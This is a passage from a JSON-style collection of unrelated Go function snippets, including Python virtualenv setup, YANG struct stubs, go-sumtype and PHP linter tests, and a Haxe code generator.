{\n\t\t\treturn pythonBin, \"\", err\n\t\t}\n\t\treturn pythonBin, pipBin, nil\n\tcase version.Greater, version.Equals:\n\t\t// v3 required -> virtualenv\n\t\t// requirements for setting up VE: python3, pip3, venv\n\t\tlogger.Debugf(\"Validating dependencies for python %s module\", requiredPy)\n\t\tpythonBin, err := findPythonBin(ctx, l.commandExecutor, requiredPy, name)\n\t\tif err != nil {\n\t\t\tlogger.Errorf(\"Python >= %s not found in the system. Please verify your setup\", requiredPy)\n\t\t\treturn \"\", \"\", err\n\t\t}\n\n\t\tif err := l.resolveBinVersion(pythonBin, requiredPy, \"--version\", logger); err != nil {\n\t\t\treturn \"\", \"\", err\n\t\t}\n\n\t\t// validate that the use has python pip package installed\n\t\tif err = l.findPipPackage(ctx, requiredPy, pythonBin); err != nil {\n\t\t\tlogger.Errorf(\"Pip not found in the system. Please verify your setup\")\n\t\t\treturn \"\", \"\", err\n\t\t}\n\n\t\t// validate that venv module is present\n\t\tif err = l.findVenvPackage(ctx, pythonBin); err != nil {\n\t\t\tlogger.Errorf(\"Python venv module not found in the system. Please verify your setup\")\n\t\t\treturn \"\", \"\", err\n\t\t}\n\n\t\treturn pythonBin, \"\", nil\n\tdefault:\n\t\t// not supported\n\t\tlogger.Errorf(\"%s: %s\", ErrPythonVersionNotSupported.Error(), requiredPy)\n\t\treturn \"\", \"\", fmt.Errorf(\"%w: %s\", ErrPythonVersionNotSupported, requiredPy)\n\t}\n}", "func (*UseCase_UseCase) IsYANGGoStruct() {}", "func TestGoDocNoTypeNameReject(t *testing.T) {\n\treject(t, \"godoc_test.go\", \"TestGoDocNoFuncNameReject\")\n}", "func (m *MockmonitorInterface) WaitScala(name string) (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"WaitScala\", name)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func langSupported(major, minor int, pkg *types.Pkg) bool {\n\tif pkg == nil {\n\t\t// TODO(mdempsky): Set Pkg for local types earlier.\n\t\tpkg = localpkg\n\t}\n\tif pkg != localpkg {\n\t\t// Assume imported packages passed type-checking.\n\t\treturn true\n\t}\n\n\tif langWant.major == 0 && langWant.minor == 0 {\n\t\treturn true\n\t}\n\treturn langWant.major > major || (langWant.major == major && langWant.minor >= minor)\n}", "func init() { Go_version_1_5_required_for_compilation() }", "func TestMisspellPHPDocPositive(t *testing.T) {\n\ttest := linttest.NewSuite(t)\n\ttest.Config().TypoFixer = misspell.New()\n\ttest.AddFile(`<?php\n/**\n * This function is a pure perfektion.\n */\nfunction f1() {}\n\n/**\n * This class is our performace secret.\n */\nclass c1 {\n /**\n * This constant comment is very informitive.\n */\n const Foo = 0;\n\n /**\n * This property is not inefficeint.\n */\n private $prop = 1;\n\n /**\n * This method is never called, this is why it's inexpencive.\n */\n private static function secret() {}\n}\n`)\n\ttest.Expect = []string{\n\t\t`\"perfektion\" is a misspelling of \"perfection\"`,\n\t\t`\"performace\" is a misspelling of \"performance\"`,\n\t\t`\"informitive\" is a misspelling of \"informative\"`,\n\t\t`\"inexpencive\" is a misspelling of \"inexpensive\"`,\n\t\t`\"inefficeint\" is a misspelling of \"inefficient\"`,\n\t}\n\ttest.RunAndMatch()\n}", "func SkipTypeScript(reason string) TestOptionsFunc {\n\treturn TypeScript(Skip(\"TypeScript test skipped: \" + reason))\n}", "func GoShouldIncludeThisInItsStandardLibs(x int) int {\n\tif x < 0 {\n\t\treturn -x\n\t} else {\n\t\treturn x\n\t}\n}", "func init() { Go_version_1_13_required_for_compilation() }", "func (*UseCase_UseCase_UseCase) IsYANGGoStruct() {}", "func (*UseCase_UseCase_UseCase_Application) IsYANGGoStruct() {}", "func init() { Go_version_1_6_required_for_compilation() }", "func (langType) GoClassStart() string {\n\t// the code below makes the Go class globally visible in JS as window.Go in the browser or exports.Go in nodejs\n\t// TODO consider how to make Go/Haxe libs available across all platforms\n\treturn `\n#if js\n@:expose(\"Go\")\n#end\nclass Go\n{\n\n\tpublic static function Platform():String { // codes returned the same as used by Haxe \n #if flash\n \treturn \"flash\";\n #elseif js\n \treturn \"js\";\n #elseif cpp\n \treturn \"cpp\";\n #elseif java\n \treturn \"java\";\n #elseif cs\n \treturn \"cs\";\n #elseif python\n \t#error \"SORRY: the python target is not yet ready for general use\"\n \treturn \"python\";\n #elseif php\n \treturn \"php\";\n #elseif neko\n \treturn \"neko\";\n #else \n #error \"Only the js, flash, cpp (C++), java, cs (C#), php, python and neko Haxe targets are supported as a Go platform\" \n #end\n\t}\n`\n}", "func (langType) GoClassStart() string {\n\t// the code below makes the Go class globally visible in JS as window.Go in the browser or exports.Go in nodejs\n\t//TODO consider how to make Go/Haxe libs available across all platforms\n\treturn `\n#if js\n@:expose(\"Go\")\n#end\nclass Go\n{\n\n\tpublic static function Platform():String { // codes returned the same as used by Haxe \n #if flash\n \treturn \"flash\";\n #elseif js\n \treturn \"js\";\n #elseif cpp\n \treturn \"cpp\";\n #elseif java\n \treturn \"java\";\n #elseif cs\n \treturn \"cs\";\n #elseif python\n \t#error \"SORRY: the python target is not yet ready for general use\"\n \treturn \"python\";\n #elseif php\n \treturn \"php\";\n #elseif neko\n \treturn \"neko\";\n #else \n #error \"Only the js, flash, cpp (C++), java, cs (C#), php, python and neko Haxe targets are supported as a Go platform\" \n #end\n\t}\n`\n}", "func GoPyInit() {\n\n}", "func init() { Go_version_1_7_required_for_compilation() }", "func (*UseCase_UseCase_UseCase_Qos) IsYANGGoStruct() {}", "func (pkg *Package) check(fs *token.FileSet, astFiles []*ast.File) {\n\tdefs := make(map[*ast.Ident]types.Object)\n\tconfig := types.Config{Importer: defaultImporter(), FakeImportC: true}\n\tinfo := &types.Info{\n\t\tDefs: defs,\n\t}\n\ttypesPkg, err := config.Check(pkg.dir, fs, astFiles, info)\n\tif err != nil {\n\t\tlog.Fatalf(\"checking package: %s\", err)\n\t}\n\tpkg.typesPkg = typesPkg\n}", "func isPyCompatVar(v *symbol) error {\n\tif v == nil {\n\t\treturn fmt.Errorf(\"gopy: var symbol not found\")\n\t}\n\tif v.isPointer() && v.isBasic() {\n\t\treturn fmt.Errorf(\"gopy: var is pointer to basic type\")\n\t}\n\tif isErrorType(v.gotyp) {\n\t\treturn fmt.Errorf(\"gopy: var is error type\")\n\t}\n\tif _, isChan := v.gotyp.(*types.Chan); isChan {\n\t\treturn fmt.Errorf(\"gopy: var is channel type\")\n\t}\n\treturn nil\n}", "func (checker *CheckerType) NeedsExpectedValue() bool {\n return true\n}", "func SkipPython() TestOptionsFunc {\n\treturn Python(Skip(\"Python not yet implemented\"))\n}", "func (b *taskBuilder) usesPython() {\n\tpythonPkgs := removePython2(cipd.PkgsPython[b.cipdPlatform()])\n\tb.cipd(pythonPkgs...)\n\tb.addToPATH(\n\t\t\"cipd_bin_packages/cpython3\",\n\t\t\"cipd_bin_packages/cpython3/bin\",\n\t)\n\tb.cache(&specs.Cache{\n\t\tName: \"vpython\",\n\t\tPath: \"cache/vpython\",\n\t})\n\tb.envPrefixes(\"VPYTHON_VIRTUALENV_ROOT\", \"cache/vpython\")\n\tb.env(\"VPYTHON_LOG_TRACE\", \"1\")\n}", "func isPyCompatFunc(sig *types.Signature) (ret types.Type, haserr, hasfun bool, err error) {\n\tres := sig.Results()\n\n\tswitch res.Len() {\n\tcase 2:\n\t\tif !isErrorType(res.At(1).Type()) {\n\t\t\terr = fmt.Errorf(\"gopy: second result value must be of type error: %s\", sig.String())\n\t\t\treturn\n\t\t}\n\t\thaserr = true\n\t\tret = res.At(0).Type()\n\tcase 1:\n\t\tif isErrorType(res.At(0).Type()) {\n\t\t\thaserr = true\n\t\t\tret = nil\n\t\t} else {\n\t\t\tret = res.At(0).Type()\n\t\t}\n\tcase 0:\n\t\tret = nil\n\tdefault:\n\t\terr = fmt.Errorf(\"gopy: too many results to return: %s\", sig.String())\n\t\treturn\n\t}\n\n\tif ret != nil {\n\t\tif err = isPyCompatType(ret); err != nil {\n\t\t\treturn\n\t\t}\n\t\tif _, isSig := ret.Underlying().(*types.Signature); isSig {\n\t\t\terr = fmt.Errorf(\"gopy: return type is signature\")\n\t\t\treturn\n\t\t}\n\t\tif ret.Underlying().String() == \"interface{}\" {\n\t\t\terr = fmt.Errorf(\"gopy: return type is interface{}\")\n\t\t\treturn\n\t\t}\n\t}\n\n\targs := sig.Params()\n\tnargs := args.Len()\n\tfor i := 0; i < nargs; i++ {\n\t\targ := args.At(i)\n\t\targt := arg.Type()\n\t\tif err = isPyCompatType(argt); err != nil {\n\t\t\treturn\n\t\t}\n\t\tif _, isSig := argt.Underlying().(*types.Signature); isSig {\n\t\t\tif !hasfun {\n\t\t\t\thasfun = true\n\t\t\t} else {\n\t\t\t\terr = fmt.Errorf(\"gopy: only one function signature arg allowed: %s\", sig.String())\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func (*Component) IsYANGGoStruct() {}", "func (*Application_Application) IsYANGGoStruct() {}", "func (pkg *Package) check(fs *token.FileSet, astFiles []*ast.File) {\n\tpkg.defs = make(map[*ast.Ident]types.Object)\n\tconfig := types.Config{FakeImportC: true}\n\tinfo := &types.Info{\n\t\tDefs: pkg.defs,\n\t}\n\ttypesPkg, err := config.Check(pkg.dir, fs, astFiles, info)\n\tif err != nil {\n\t\tlog.Fatalf(\"checking package: %s\", err)\n\t}\n\tpkg.typesPkg = typesPkg\n}", "func (*Component_Fabric) IsYANGGoStruct() {}", "func TestMissingTwo(t *testing.T) {\n\tcode := `\npackage main\n\n//go-sumtype:decl T\n\ntype T interface { sealed() }\n\ntype A struct {}\nfunc (a *A) sealed() {}\n\ntype B struct {}\nfunc (b *B) sealed() {}\n\ntype C struct {}\nfunc (c *C) sealed() {}\n\nfunc main() {\n\tswitch T(nil).(type) {\n\tcase *A:\n\t}\n}\n`\n\ttmpdir, pkgs := setupPackages(t, code)\n\tdefer teardownPackage(t, tmpdir)\n\n\terrs := run(pkgs)\n\tif !assert.Len(t, errs, 1) {\n\t\tt.FailNow()\n\t}\n\tassert.Equal(t, []string{\"B\", \"C\"}, missingNames(t, errs[0]))\n}", "func (*Application_Application_Application) IsYANGGoStruct() {}", "func (*Application_Application_Application_Qos) IsYANGGoStruct() {}", "func TestSpec_GetTypeObject(t *testing.T) {\n\tcode := `\npackage haha\nimport \"fmt\"\nconst a = 1\nfunc main() {\n var b = 2.0\n type c struct {\n d string\n }\n fmt.Println(a, b)\n}`\n\t/*\n\t\t| | Universe | Package | File | Local |\n\t\t| :------: | :------: | :-----: | :--: | :---: |\n\t\t| Builtin | √ | | | |\n\t\t| Nil | √ | | | |\n\t\t| Const | √ | √ | | √ |\n\t\t| TypeName | √ | √ | | √ |\n\t\t| Func | | √ | | |\n\t\t| Var | | √ | | √ |\n\t\t| PkgName | | | √ | |\n\t\t| Label | | | | √ |\n\n\t\tThe Universe scope contains all predeclared objects of Go. For example: type/int/bool ...\n\t\tPackage: a\n\t\tFile: fmt\n\t\tLocal: b, c\n\t*/\n\ts := NewSpec(code)\n\ts.SearchKind = SearchOnlyPackage\n\tif s.GetTypeObject(\"bool\") == nil &&\n\t\ts.GetTypeObject(\"fmt\") == nil &&\n\t\ts.GetTypeObject(\"a\").String() == \"const haha.a untyped int\" &&\n\t\ts.GetTypeObject(\"b\") == nil {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchPackageAndUniverse\n\tif s.GetTypeObject(\"bool\").String() == \"type bool\" &&\n\t\ts.GetTypeObject(\"fmt\") == nil &&\n\t\ts.GetTypeObject(\"a\").String() == \"const haha.a untyped int\" &&\n\t\ts.GetTypeObject(\"b\") == nil {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchAll\n\tif s.GetTypeObject(\"bool\").String() == \"type bool\" &&\n\t\ts.GetTypeObject(\"fmt\").String() == \"package fmt\" &&\n\t\ts.GetTypeObject(\"a\").String() == \"const haha.a untyped int\" &&\n\t\ts.GetTypeObject(\"b\").String() == \"var b float64\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\n}", "func TODO(...interface{}) {\n\t// Indirection to prevent the compiler from ignoring unreachable code\n\tpanic(\"TODO\")\n}", "func (*UseCase_UseCase_UseCase_Visibility) IsYANGGoStruct() {}", "func TestMissingOne(t *testing.T) {\n\tcode := `\npackage main\n\n//go-sumtype:decl T\n\ntype T interface { sealed() }\n\ntype A struct {}\nfunc (a *A) sealed() {}\n\ntype B struct {}\nfunc (b *B) sealed() {}\n\nfunc main() {\n\tswitch T(nil).(type) {\n\tcase *A:\n\t}\n}\n`\n\ttmpdir, pkgs := setupPackages(t, code)\n\tdefer teardownPackage(t, tmpdir)\n\n\terrs := run(pkgs)\n\tif !assert.Len(t, errs, 1) {\n\t\tt.FailNow()\n\t}\n\tassert.Equal(t, []string{\"B\"}, missingNames(t, errs[0]))\n}", "func execIsPredeclared(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret := doc.IsPredeclared(args[0].(string))\n\tp.Ret(1, ret)\n}", "func cgoCheckResult(val interface{}) {\n\tif debug.cgocheck == 0 {\n\t\treturn\n\t}\n\n\tep := efaceOf(&val)\n\tt := ep._type\n\tcgoCheckArg(t, ep.data, t.kind&kindDirectIface == 0, false, cgoResultFail)\n}", "func (l *langManager) setup(ctx context.Context, pkgVenvPath, srcPath, python3Bin, pipBin, requiredPy string, passthru bool) error {\n\tswitch version.Compare(requiredPy, \"3.0.0\") {\n\tcase version.Greater, version.Equals:\n\t\t// Python 3.x required: build virtual environment\n\t\tlogger := log.FromContext(ctx)\n\n\t\tdefer func() {\n\t\t\tif !passthru {\n\t\t\t\tl.deactivateVirtualEnvironment(ctx, pkgVenvPath, requiredPy)\n\t\t\t}\n\t\t\tlogger.Debugf(\"All virtualenv dependencies successfully installed\")\n\t\t}()\n\n\t\tveExists, err := l.commandExecutor.FileExists(pkgVenvPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !passthru || !veExists {\n\t\t\tlogger.Debugf(\"the virtual environment %s does not exist yet - installing dependencies\", pkgVenvPath)\n\n\t\t\t// upgrade pip and setuptools\n\t\t\tif err := l.upgradePipAndSetuptools(ctx, python3Bin); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// create virtual environment\n\t\t\tif err := l.createVirtualEnvironment(ctx, python3Bin, pkgVenvPath); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// activate virtual environment\n\t\tif err := l.activateVirtualEnvironment(ctx, pkgVenvPath); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// install packages from requirements.txt\n\t\tvePy, err := l.getVePython(pkgVenvPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := l.installVeRequirements(ctx, srcPath, pkgVenvPath, vePy); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase version.Smaller:\n\t\t// no virtualenv for python 2.x\n\t\treturn installPythonDepsPip(ctx, l.commandExecutor, pipBin, srcPath)\n\t}\n\n\treturn nil\n}", "func (*MapStructTestOne) IsYANGGoStruct() {}", "func externalOkay(T *Type) error {\n\t//T is from another package, need to make sure we have access to it.\n\tif !ast.IsExported(T.Name) {\n\t\tif tn := closedutil.FirstExportedTypeName(T.T.Types()); tn != nil {\n\t\t\t//We could silently replace T.Name with tn.Name() here\n\t\t\t//but is it better that the go generate declaration\n\t\t\t//in the source code be clear than for this generator\n\t\t\t//to be clever\n\t\t\treturn fmt.Errorf(\"%s is not exported from %q, but has exported names to use such as %s\", T.Name, T.Pkg.ImportPath, tn.Name())\n\t\t}\n\t\treturn fmt.Errorf(\"%s is not exported from %q\", T.Name, T.Pkg.ImportPath)\n\t}\n\n\tif !closedutil.ExternallyExhaustible(T.T) {\n\t\treturn fmt.Errorf(\"%s cannot be validated outside of %q\", T.Name, T.Pkg.ImportPath)\n\t}\n\n\treturn nil\n}", "func (*Component_Cpu) IsYANGGoStruct() {}", "func (l langType) GoClassEnd(pkg *ssa.Package) string {\n\t// init function\n\tmain := \"public static var doneInit:Bool=false;\\n\" // flag to run this routine only once\n\tmain += \"\\npublic static function init() : Void {\\ndoneInit=true;\\nvar gr:Int=Scheduler.makeGoroutine();\\n\" // first goroutine number is always 0\n\tmain += `if(gr!=0) throw \"non-zero goroutine number in init\";` + \"\\n\" // first goroutine number is always 0, NOTE using throw as panic not setup\n\n\tmain += \"var _sfgr=new Go_haxegoruntime_init(gr,[]).run();\\n\" //haxegoruntime.init() NOTE can't use .hx() to call from Haxe as that would call this fn\n\tmain += `Go.haxegoruntime_ZZiLLen.store_uint32('字'.length);` // value required by haxegoruntime to know what type of strings we have\n\tmain += \"while(_sfgr._incomplete) Scheduler.runAll();\\n\"\n\tmain += \"var _sf=new Go_\" + l.LangName(pkg.Pkg.Path(), \"init\") + `(gr,[]).run();` + \"\\n\" //NOTE can't use .hx() to call from Haxe as that would call this fn\n\tmain += \"while(_sf._incomplete) Scheduler.runAll();\\n\"\n\tmain += \"\"\n\tmain += \"Scheduler.doneInit=true;\\n\"\n\tmain += \"}\\n\"\n\t// Haxe main function, only called in a go-only environment,\n\t// or ends with a call to haxegoruntime.BrowserMain() to set-up JS timed callbacks\n\tmain += \"\\npublic static function main() : Void {\\n\"\n\tmain += \"Go_\" + l.LangName(pkg.Pkg.Path(), \"main\") + `.hx();` + \"\\n\"\n\tmain += \"}\\n\"\n\n\tpos := \"public static function CPos(pos:Int):String {\\nvar prefix:String=\\\"\\\";\\n\"\n\tpos += fmt.Sprintf(`if (pos==%d) return \"(No File Position Hash)\";`, pogo.NoPosHash) + \"\\n\"\n\tpos += \"if (pos<0) { pos = -pos; prefix= \\\"near \\\";}\\n\"\n\tfor p := len(l.PogoComp().PosHashFileList) - 1; p >= 0; p-- {\n\t\tpos += fmt.Sprintf(`if(pos>%d) return prefix+\"%s:\"+Std.string(pos-%d);`,\n\t\t\tl.PogoComp().PosHashFileList[p].BasePosHash,\n\t\t\tstrings.Replace(l.PogoComp().PosHashFileList[p].FileName, \"\\\\\", \"\\\\\\\\\", -1),\n\t\t\tl.PogoComp().PosHashFileList[p].BasePosHash) + \"\\n\"\n\t}\n\tpos += \"return \\\"(invalid File Position Hash:\\\"+Std.string(pos)+\\\")\\\";\\n}\\n\"\n\n\tif l.PogoComp().DebugFlag {\n\t\tpos += \"\\npublic static function getStartCPos(s:String):Int {\\n\"\n\t\tfor p := len(l.PogoComp().PosHashFileList) - 1; p >= 0; p-- {\n\t\t\tpos += \"\\t\" + fmt.Sprintf(`if(\"%s\".indexOf(s)!=-1) return %d;`,\n\t\t\t\tstrings.Replace(l.PogoComp().PosHashFileList[p].FileName, \"\\\\\", \"\\\\\\\\\", -1),\n\t\t\t\tl.PogoComp().PosHashFileList[p].BasePosHash) + \"\\n\"\n\t\t}\n\t\tpos += \"\\treturn -1;\\n}\\n\"\n\n\t\tpos += \"\\npublic static function getGlobal(s:String):String {\\n\"\n\t\tglobs := l.PogoComp().GlobalList()\n\t\tfor _, g := range globs {\n\t\t\tgoName := strings.Replace(g.Package+\".\"+g.Member, \"\\\\\", \"\\\\\\\\\", -1)\n\t\t\tpos += \"\\t\" + fmt.Sprintf(`if(\"%s\".indexOf(s)!=-1) return \"%s = \"+%s.toString();`,\n\t\t\t\tgoName, goName, l.LangName(g.Package, g.Member)) + \"\\n\"\n\t\t}\n\t\tpos += \"\\treturn \\\"Couldn't find global: \\\"+s;\\n}\\n\"\n\n\t}\n\n\treturn main + pos + \"} // end Go class\"\n}", "func TestNoMissing(t *testing.T) {\n\tcode := `\npackage main\n\n//go-sumtype:decl T\n\ntype T interface { sealed() }\n\ntype A struct {}\nfunc (a *A) sealed() {}\n\ntype B struct {}\nfunc (b *B) sealed() {}\n\ntype C struct {}\nfunc (c *C) sealed() {}\n\nfunc main() {\n\tswitch T(nil).(type) {\n\tcase *A, *B, *C:\n\t}\n}\n`\n\ttmpdir, pkgs := setupPackages(t, code)\n\tdefer teardownPackage(t, tmpdir)\n\n\terrs := run(pkgs)\n\tassert.Len(t, errs, 0)\n}", "func TestNoMissingDefault(t *testing.T) {\n\tcode := `\npackage main\n\n//go-sumtype:decl T\n\ntype T interface { sealed() }\n\ntype A struct {}\nfunc (a *A) sealed() {}\n\ntype B struct {}\nfunc (b *B) sealed() {}\n\nfunc main() {\n\tswitch T(nil).(type) {\n\tcase *A:\n\tdefault:\n\t\tprintln(\"legit catch all goes here\")\n\t}\n}\n`\n\ttmpdir, pkgs := setupPackages(t, code)\n\tdefer teardownPackage(t, tmpdir)\n\n\terrs := run(pkgs)\n\tassert.Len(t, errs, 0)\n}", "func (l langType) GoClassEnd(pkg *ssa.Package) string {\n\t// init function\n\tmain := \"public static var doneInit:Bool=false;\\n\" // flag to run this routine only once\n\tmain += \"\\npublic static function init() : Void {\\ndoneInit=true;\\nvar gr:Int=Scheduler.makeGoroutine();\\n\" // first goroutine number is always 0\n\tmain += `if(gr!=0) throw \"non-zero goroutine number in init\";` + \"\\n\" // first goroutine number is always 0, NOTE using throw as panic not setup\n\n\tmain += \"var _sfgr=new Go_haxegoruntime_init(gr,[]).run();\\n\" //haxegoruntime.init() NOTE can't use .hx() to call from Haxe as that would call this fn\n\tmain += `Go.haxegoruntime_ZZiLLen.store_uint32('字'.length);` // value required by haxegoruntime to know what type of strings we have\n\tmain += \"while(_sfgr._incomplete) Scheduler.runAll();\\n\"\n\tmain += \"var _sf=new Go_\" + l.LangName(pkg.Object.Path(), \"init\") + `(gr,[]).run();` + \"\\n\" //NOTE can't use .hx() to call from Haxe as that would call this fn\n\tmain += \"while(_sf._incomplete) Scheduler.runAll();\\n\"\n\tmain += \"\"\n\tmain += \"Scheduler.doneInit=true;\\n\"\n\tmain += \"}\\n\"\n\t// Haxe main function, only called in a go-only environment\n\tmain += \"\\npublic static function main() : Void {\\n\"\n\tmain += \"Go_\" + l.LangName(pkg.Object.Path(), \"main\") + `.hx();` + \"\\n\"\n\tmain += \"}\\n\"\n\n\tpos := \"public static function CPos(pos:Int):String {\\nvar prefix:String=\\\"\\\";\\n\"\n\tpos += fmt.Sprintf(`if (pos==%d) return \"(pogo.NoPosHash)\";`, pogo.NoPosHash) + \"\\n\"\n\tpos += \"if (pos<0) { pos = -pos; prefix= \\\"near \\\";}\\n\"\n\tfor p := len(pogo.PosHashFileList) - 1; p >= 0; p-- {\n\t\tif p != len(pogo.PosHashFileList)-1 {\n\t\t\tpos += \"else \"\n\t\t}\n\t\tpos += fmt.Sprintf(`if(pos>%d) return prefix+\"%s:\"+Std.string(pos-%d);`,\n\t\t\tpogo.PosHashFileList[p].BasePosHash,\n\t\t\tstrings.Replace(pogo.PosHashFileList[p].FileName, \"\\\\\", \"\\\\\\\\\", -1),\n\t\t\tpogo.PosHashFileList[p].BasePosHash) + \"\\n\"\n\t}\n\tpos += \"else return \\\"(invalid pogo.PosHash:\\\"+Std.string(pos)+\\\")\\\";\\n}\\n\"\n\n\tif pogo.DebugFlag {\n\t\tpos += \"\\npublic static function getStartCPos(s:String):Int {\\n\"\n\t\tfor p := len(pogo.PosHashFileList) - 1; p >= 0; p-- {\n\t\t\tpos += \"\\t\" + fmt.Sprintf(`if(\"%s\".indexOf(s)!=-1) return %d;`,\n\t\t\t\tstrings.Replace(pogo.PosHashFileList[p].FileName, \"\\\\\", \"\\\\\\\\\", -1),\n\t\t\t\tpogo.PosHashFileList[p].BasePosHash) + \"\\n\"\n\t\t}\n\t\tpos += \"\\treturn -1;\\n}\\n\"\n\n\t\tpos += \"\\npublic static function getGlobal(s:String):String {\\n\"\n\t\tglobs := pogo.GlobalList()\n\t\tfor _, g := range globs {\n\t\t\tgoName := strings.Replace(g.Package+\".\"+g.Member, \"\\\\\", \"\\\\\\\\\", -1)\n\t\t\tpos += \"\\t\" + fmt.Sprintf(`if(\"%s\".indexOf(s)!=-1) return \"%s = \"+%s.toString();`,\n\t\t\t\tgoName, goName, l.LangName(g.Package, g.Member)) + \"\\n\"\n\t\t}\n\t\tpos += \"\\treturn \\\"Couldn't find global: \\\"+s;\\n}\\n\"\n\n\t}\n\n\treturn main + pos + \"} // end Go class\"\n}", "func TestGoDocNoFuncNameReject(t *testing.T) {\n\treject(t, \"godoc_test.go\", \"TestGoDocNoFuncNameReject\")\n}", "func isPyCompatType(typ types.Type) error {\n\ttyp = typ.Underlying()\n\tif ptyp, isPtr := typ.(*types.Pointer); isPtr {\n\t\tif _, isBasic := ptyp.Elem().(*types.Basic); isBasic {\n\t\t\treturn fmt.Errorf(\"gopy: type is pointer to basic type\")\n\t\t}\n\t}\n\tif isErrorType(typ) {\n\t\treturn fmt.Errorf(\"gopy: type is error type\")\n\t}\n\tif _, isChan := typ.(*types.Chan); isChan {\n\t\treturn fmt.Errorf(\"gopy: type is channel type\")\n\t}\n\treturn nil\n}", "func TestSdkDependsOnSourceEvenWhenPrebuiltPreferred(t *testing.T) {\n\tresult := android.GroupFixturePreparers(prepareForSdkTestWithJava).RunTestWithBp(t, `\n\t\tsdk {\n\t\t\tname: \"mysdk\",\n\t\t\tjava_header_libs: [\"sdkmember\"],\n\t\t}\n\n\t\tjava_library {\n\t\t\tname: \"sdkmember\",\n\t\t\tsrcs: [\"Test.java\"],\n\t\t\tsystem_modules: \"none\",\n\t\t\tsdk_version: \"none\",\n\t\t}\n\t`)\n\n\t// Make sure that the mysdk module depends on \"sdkmember\" and not \"prebuilt_sdkmember\".\n\tsdkChecker := func(t *testing.T, result *android.TestResult) {\n\t\tjava.CheckModuleDependencies(t, result.TestContext, \"mysdk\", \"android_common\", []string{\"sdkmember\"})\n\t}\n\n\tCheckSnapshot(t, result, \"mysdk\", \"\",\n\t\tsnapshotTestChecker(checkSnapshotWithSourcePreferred, sdkChecker),\n\t\tsnapshotTestChecker(checkSnapshotPreferredWithSource, sdkChecker),\n\t)\n}", "func (*Component_Subcomponent) IsYANGGoStruct() {}", "func TestMisspellPHPDocNegative(t *testing.T) {\n\ttest := linttest.NewSuite(t)\n\ttest.Config().TypoFixer = misspell.New()\n\ttest.AddFile(`<?php\ninterface Responsable {}\n\n/**\n * Uses Responsable interface value.\n * @param \\Responsable $r\n */\nfunction reference_iface(Responsable $r) {\n}\n\n/**\n * Don't warn on emails.\n * This function is a pure [email protected].\n */\nfunction f1() {}\n\n/**\n * Don't warn on hosts.\n * This class is our performace.io.org secret.\n */\nclass c1 {\n /**\n * Don't warn on paths.\n * This method is never called, this is why it's /a/b/inexpencive.\n */\n private static function secret() {}\n}\n`)\n\ttest.RunAndMatch()\n}", "func TestSpec_IsInUniverse(t *testing.T) {\n\tcode := `\npackage haha\nimport \"fmt\"\nconst a = 1\nfunc main() {\n var b = 2.0\n type c struct {\n d string\n }\n fmt.Println(a, b)\n}`\n\ts := NewSpec(code)\n\tif s.IsInUniverse(\"bool\") && !s.IsInUniverse(\"a\") && !s.IsInUniverse(\"kaka\") {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n}", "func (*Component_OpticalChannel_PolarizationDependentLoss) IsYANGGoStruct() {}", "func (*Enterprise_Enterprise_Enterprise) IsYANGGoStruct() {}", "func typecheck(fset *token.FileSet, bctx *build.Context, bpkg *build.Package) (*loader.Program, diagnostics, error) {\n\tvar typeErrs []error\n\tconf := loader.Config{\n\t\tFset: fset,\n\t\tTypeChecker: types.Config{\n\t\t\tDisableUnusedImportCheck: true,\n\t\t\tFakeImportC: true,\n\t\t\tError: func(err error) {\n\t\t\t\ttypeErrs = append(typeErrs, err)\n\t\t\t},\n\t\t},\n\t\tBuild: bctx,\n\t\tCwd: bpkg.Dir,\n\t\tAllowErrors: true,\n\t\tTypeCheckFuncBodies: func(p string) bool {\n\t\t\treturn bpkg.ImportPath == p\n\t\t},\n\t\tParserMode: parser.AllErrors | parser.ParseComments, // prevent parser from bailing out\n\t\tFindPackage: func(bctx *build.Context, importPath, fromDir string, mode build.ImportMode) (*build.Package, error) {\n\t\t\t// When importing a package, ignore any\n\t\t\t// MultipleGoErrors. This occurs, e.g., when you have a\n\t\t\t// main.go with \"// +build ignore\" that imports the\n\t\t\t// non-main package in the same dir.\n\t\t\tbpkg, err := bctx.Import(importPath, fromDir, mode)\n\t\t\tif err != nil && !isMultiplePackageError(err) {\n\t\t\t\treturn bpkg, err\n\t\t\t}\n\t\t\treturn bpkg, nil\n\t\t},\n\t}\n\n\t// Hover needs this info, otherwise we could zero out the unnecessary\n\t// results to save memory.\n\t//\n\t// TODO(sqs): investigate other ways to speed this up using\n\t// AfterTypeCheck; see\n\t// https://sourcegraph.com/github.com/golang/tools@5ffc3249d341c947aa65178abbf2253ed49c9e03/-/blob/cmd/guru/referrers.go#L148.\n\t//\n\t// \tconf.AfterTypeCheck = func(info *loader.PackageInfo, files []*ast.File) {\n\t// \t\tif !conf.TypeCheckFuncBodies(info.Pkg.Path()) {\n\t// \t\t\tclearInfoFields(info)\n\t// \t\t}\n\t// \t}\n\t//\n\n\tvar goFiles []string\n\tgoFiles = append(goFiles, bpkg.GoFiles...)\n\tgoFiles = append(goFiles, bpkg.TestGoFiles...)\n\tif strings.HasSuffix(bpkg.Name, \"_test\") {\n\t\tgoFiles = append(goFiles, bpkg.XTestGoFiles...)\n\t}\n\tfor i, filename := range goFiles {\n\t\tgoFiles[i] = normalizePath(filepath.Join(bpkg.Dir, filename))\n\t}\n\tconf.CreateFromFilenames(bpkg.ImportPath, goFiles...)\n\tprog, err := conf.Load()\n\tif err != nil && prog == nil {\n\t\treturn nil, nil, err\n\t}\n\tdiags, err := errsToDiagnostics(typeErrs, prog)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn prog, diags, nil\n}", "func 